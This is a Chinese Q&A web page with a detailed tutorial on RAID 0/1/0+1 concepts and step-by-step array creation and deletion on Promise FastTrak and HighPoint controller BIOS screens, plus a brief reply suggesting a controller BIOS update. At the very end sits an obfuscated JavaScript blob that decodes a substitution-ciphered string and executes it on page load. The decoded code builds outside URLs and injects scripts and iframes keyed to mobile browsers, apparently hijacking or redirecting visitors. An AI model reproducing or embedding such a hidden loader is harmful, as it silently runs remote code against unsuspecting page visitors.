推荐回答(2个)
磁盘阵列(Disk Array)是由一个硬盘控制器来控制多个硬盘的相互连接,使多个硬盘的读写同步,减少错误,增加效率和可靠度的技术。
RAID是Redundant Array of Inexpensive Disk的缩写,即“独立磁盘冗余阵列”(最初为“廉价磁盘冗余阵列”)的缩略语,1987年由
Patterson,Gibson和Katz在加州大学伯克利分院的一篇文章中定义。RAID阵列技术允许将一系列磁盘分组,以实现提高可用性的目的,并提供
为实现数据保护而必需的数据冗余,有时还有改善性能的作用。
RAID技术是一种工业标准,各厂商对RAID级别的定义也不尽相同。目前对RAID级别的定义可以获得业界广泛认同的有4种,RAID 0、RAID 1、
RAID 0+1和RAID 5,我们常见的主板自带的阵列芯片或阵列卡能支持的模式有:RAID 0、RAID 1、RAID 0+1。RAID 0是无数据冗余的存储空
间条带化,它将所有硬盘构成一个磁盘阵列,可以同时对多个硬盘做读写动作,但是不具备备份及容错能力,具有成本低、读写性能极高、存
储空间利用率高等特点,在理论上可以提高磁盘子系统的性能。RAID 1是两块硬盘数据完全镜像,可以提高磁盘子系统的安全性,技术简单,
管理方便,读写性能均好。但它无法扩展(单块硬盘容量),数据空间浪费大,严格意义上说,不应称之为“阵列”。
RAID 0+1综合了RAID 0和RAID 1的特点,独立磁盘配置成RAID 0,两套完整的RAID 0互相镜像。它的读写性能出色,安全性高,但构建阵列的
成本投入大,数据空间利用率低,不能称之为经济高效的方案。
常见的阵列芯片有三种:Promise(乔鼎信息)、HighPoint、AMI(美商安迈)。这三种芯片都有主板集成或独立的阵列卡这二种形式的产品。
Promise常见的阵列芯片有:Promise FastTrak 66、FastTrak 100、FastTrak 133、20262、20265、20267、20270、FastTrak Tx2、FastTrak
Tx4、FastTrak Tx2000。
常见Promise阵列芯片图例:
Promise FastTRAK TX2 阵列卡和Promise FastTRAK TX2000 阵列卡图例:
HighPoint常见的阵列芯片有:HighPoint 370、370A、372、372A。
常见HighPoint阵列芯片图例:
AMI / LSI Logic MegaRAID 这种芯片的产品我们用得很少,现在知道的有艾崴 WO2-R主板上集成了American Megatrends MG80649 控制器,其
阵列卡的产品也没有使用过。
2、注意事项:
1 用来创建磁盘阵列的硬盘,2 一般需成对使用。
3 强烈建议使用型号、容量、品牌均一致的二个硬盘来做阵列。
③ 阵列卡和一部分集成的阵列芯片支持双阵列,当您使用四个硬盘来做阵列时,建议设置为双阵列。但如果主板集成的是Promise类芯片,几
乎都不支持创建双阵列。
4没有安装对应的阵列驱动程序或驱动程序不对,而又设置为由阵列启动时,NT服务器启动时将会蓝屏。
⑤ 任何创建阵列或者重建阵列的操作都将清除硬盘或者阵列上的所有现有数据!!
3、Promise芯片类阵列的具体设置方法:
1 、Promise阵列的创建
注:本范例使用的是Promise FastTrak Tx2型阵列卡
正确设置好二块硬盘的主从跳线,标准的DMA66数据线最外端接主盘,中间接从盘,设置CMOS为IDE0启动。
拷系统盘时,启动硬盘接在IDE1口,系统母盘接在IDE2口。如果使用一根数据线,则启动硬盘跳主盘,系统母盘跳从盘。如果是主板自带的阵
列,还要检查CMOS里的相关设置是否已经打开。一般应位于CMOS的IDE控制器选项里,类似的字样为:Onboard ATA100 RAID IDE Controller。
系统开机自检完成后,将出现阵列的设置界面:
按“Ctrl + F”进入设置主界面:
< Promise 阵 列 设 置 主 界 面 >
? 1、自动设置
? 2、查看硬盘分配状态
? 3、手动建立阵列
? 4、删除阵列
? 5、重建阵列
? 6、配置阵列
主界面共有六个选项。一般我们用得最多的就是第3、第4项。如果选第一项,将会自动把接在阵列卡上的所有硬盘以Raid 0模式设为一个阵列
。选第二项可以查看接在阵列卡上的硬盘的
一些信息。包括主从盘设置、硬盘的型号、容量等。还可以借此检查到硬盘是否已经接好。如果有信息显示为乱码,则表明此盘的数据线没有
接好或者已经损坏。
按键盘主键区的数字键3,进入建立阵列的设置界面:
这里总共可以建立四个阵列(Raid 0+1模式时),但我们一般都只用Raid 0模式。这样,在
Promise Tx2型阵列卡上,我们就只会用到Array 1和Array 2。
在Array 1 上敲回车键,进入下一步的设置界面:
此处Raid Mode(阵列模式)默认为Raid 0,一般无需更改。Stripe Block(带区)
带区是指把组成阵列的每个磁盘的所有空间分割成一些小块。这些小块可以小到几K,也可以大到几兆(实验证明块的最佳大小是32K或64K),
在组成的磁盘中的这些块被交叉创建成“带区”。 例如,每个磁盘上的第一个块被组成一个“带区”,而每个磁盘的第二个块又被组成另一个
“带区”,依次类推。 通过这种方式,阵列盘的大小就是所有加入磁盘大小的总和。调整带区大小的原则是,当阵列盘里存贮的是一些比较零
碎的小型文件时,带区就可以调小一点,如果存贮的是像电影一类的大容量的文件时,带区就可以调大一些。因此这里带区的大小可以根据实
际需要来调整。但要注意,有很大一部分芯片的带区最大也只有64K。使用方向键将焦点移到第一个硬盘上,按空格键或者按字母“ Y”,就可
以选中这个硬盘。一般我们将接在阵列卡上标示为IDE 1的那根数据线上的二个硬盘设为一个阵列,如果您的阵列口上接了四个硬盘,另一根数
据线上的二个硬盘则设为第二个阵列。(当您使用四个硬盘来做阵列时,建议设置为双阵列。如果您要将四个硬盘设为一个阵列,则需将这四
个硬盘全部选中。)选中这二个硬盘以后,按 “Ctrl + Y ”保存设置,这样就建好了一个阵列。
如果设置为双阵列,则需重复刚才的操作。
双阵列建好以后的状态:
在此界面上的Array1或者Array2上按空格键即可确定由哪一个阵列来启动,前面有 * 号的即为引导盘。
建好所有的阵列后,按Esc 键退出设置界面。按字母“Y”将退出并重新启动系统。建好阵列以后,再拷盘时就已经很简单了。由启动硬盘启动
进入Dos ,运行Ghost, 此时单阵
列可以看到三个硬盘,双阵列可以看到四个硬盘。只需按照平常拷普通硬盘时的方法进行拷贝即可。Raid 0 模式的阵列建完后,在Ghost 里将
显示为一个大容量的硬盘,容量为一个阵列
口上二个硬盘容量的总和。
具体拷贝时,您有几种选择。如果只有一个80G的阵列,您可以选择在此80G的阵列里拷40G的系统,然后再拷40G 的游戏。也可以选择80G 全部
都拷为系统。如果只拷为系统,则请根据实
际需要,重新调整一下此80G的分区大小。(具体方法为:先按 ? 退格键将现在显示的容量全部删除,再输入C:盘的大小,一般为3G~ 5G。再
输入E:盘的大小,容量大小一般根据您工作站的多少来确定,一台工作站大约分配200M ~ 300M。调整的同时,在Ghost的下方就可以看到还剩
余多少容量。参考值:E:盘可以分为30G 左右,此时D:盘还剩十几个G。分完C:盘E:盘的大小以后,D:盘的容量就可以随便输入一个较大
的数字,如99999。上下移动光标焦点,Ghost就会自动将剩余的所有空间都分配给D:盘。具体配置参见下图:)
2 、Promise阵列的删除
系统开机自检完成后,将出现阵列的设置界面。按“Ctrl + F”进入设置主界面:
< Promise 阵 列 设 置 主 界 面 >
? 1、自动设置
? 2、查看硬盘分配状态
? 3、手动建立阵列
? 4、删除阵列
? 5、重建阵列
? 6、配置阵列
选择第4项Delete Array ,进入删除阵列的菜单:
将光标焦点移到您欲删除的阵列上(Array 1或者Array2),按“Del”键,将会出现一个问你是否真的要删除此阵列的确认界面:
Are you sure you want to delete this array?Press Ctrl-Y to Delete,or others to
abort…此时按“Ctrl + Y”就会删除此阵列,按其它键放弃。如果是双阵列,删除第二个阵列时,则需重复刚才的操作。
下图是已删除第一个阵列时的状态,Array 1 已经变为空白:
③、其它Promise类芯片的注意事项:
有一部分自带Promise阵列芯片的主板,仅支持创建一个阵列,例如PDC20267芯片。使用此类芯片的主板如技嘉GA-8IEXP主板。其阵列设置自检
界面如下图:
按“Ctrl + F”进入其设置主界面:
< PDC20267芯 片 阵 列 设 置 主 界 面 >
? 1、自动设置
? 2、硬盘信息
? 3、查看阵列
? 4、删除阵列
? 5、重建阵列
? 6、配置阵列
由上图可以看到,此芯片并无Define Array 的选项。由此芯片创建阵列时,应选择第一项Auto Setup,然后可以不作任何设置,直接用“Ctrl
+ Y”保存退出就可以了。
按 Esc 退到主界面,提示阵列已建立,按任意键重启:
此类芯片删除阵列的方法参见上述Promise Tx2阵列卡,操作基本相同。
4、HighPoint芯片类阵列的具体设置方法
①、HighPoint阵列的创建
注:本范例使用的是主板自带的HPT370型阵列芯片
正确设置好二块硬盘的主从跳线,标准的DMA66数据线最外端接主盘,中间接从盘,设置CMOS为IDE0启动。
拷系统盘时,启动硬盘接在IDE1口,系统母盘接在IDE2口。如果使用一根数据线,
则启动硬盘跳主盘,系统母盘跳从盘。如果是主板自带的阵列,还要检查CMOS里的相关设置是否已经打开。一般应位于CMOS的IDE控制器选项里
,类似的字样为:Onboard ATA100 RAID IDE Controller。
系统开机自检完成后,将出现阵列的设置界面:
按“Ctrl +H”进入设置主界面:
< HighPoint 阵 列 设 置 主 界 面 >
? 1、建立阵列
? 2、删除阵列
? 3、磁盘镜像
? 4、设置硬盘模式
? 5、选择启动硬盘
主界面共有五个选项。一般我们用得最多的就是第1、第2项。用方向键将光标焦点移到第1项上,按回车(Enter)键,进入建立阵列的设置界
面:
各选项具体含意如下:
< 建 立 阵 列 设 置 主 界 面 >
? 1、阵列模式
? 2、选择硬盘
? 3、带区大小
? 4、开始创建
此处Array Mode(阵列模式)一般无需更改。Block Size(带区大小),HighPoint系列阵列芯片的带区一般最大也只有64K。用方向键将光标
焦点移到第二项上敲回车键,光标便会自动
跳到下面的硬盘上来。在本例中,主板的阵列口上用一根数据线接了二个金钻40G的硬盘,从下图中也可以很清楚的看出来。
用方向键将光标焦点移到您准备创建阵列的那个硬盘上,敲回车键,光标会自动跳到下一行,继续敲回车键。如果您是创建一个阵列,当选中
二个硬盘以后,按Esc键,返回到上层菜单
。将光标焦点移到第4项上,敲回车键,出现一行提示:你所选中的硬盘上的所有数据都将会被移除,是否继续?如果键入字母“ Y”,下面的
硬盘状态将会变成阵列的状态,也就是说,
此时阵列创建完毕。如果按“ N”,则会取消。
如果您的阵列口上接了四个硬盘,则另一根数据线上的二个硬盘设为第二个阵列。(当您使用四个硬盘来做阵列时,建议设置为双阵列。如果
您要将四个硬盘设为一个阵列,则需
将这四个硬盘全部选中。)如果设置为双阵列,则需重复刚才的操作。建好所有的阵列后,按Esc 键退出设置界面。按字母“Y”将退出并重新
启动系统。
当阵列建好以后,拷盘时的具体操作请参见Promise阵列部分的内容。
②、HighPoint阵列的删除
系统开机自检完成后,将出现阵列的设置界面,按“Ctrl +H”进入设置主界面:
< HighPoint 阵 列 设 置 主 界 面 >
? 1、建立阵列
? 2、删除阵列
? 3、磁盘镜像
? 4、设置硬盘模式
? 5、选择启动硬盘
选择第2项Delete RAID ,进入删除阵列的菜单:
将光标焦点移到您欲删除的阵列上,按回车键,将会出现一个问你是否真的要删除此阵列的确认界面:
Are you sure want to delete the array? Press Yes/No。此时按“Y”就会删除此阵列,按“N”放弃。如果是双阵列,删除第二个阵列时
,则需重复刚才的操作。
下图是阵列删除前后的比较图,下方的状态栏里又变成了硬盘的信息:
至此,磁盘阵列的创建与删除全部介绍完毕
这种问题很奇怪。如果是正规的 阵列卡的话。建议咨询官方网站,采用升级阵列卡的Bios或许能够解决你的问题。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();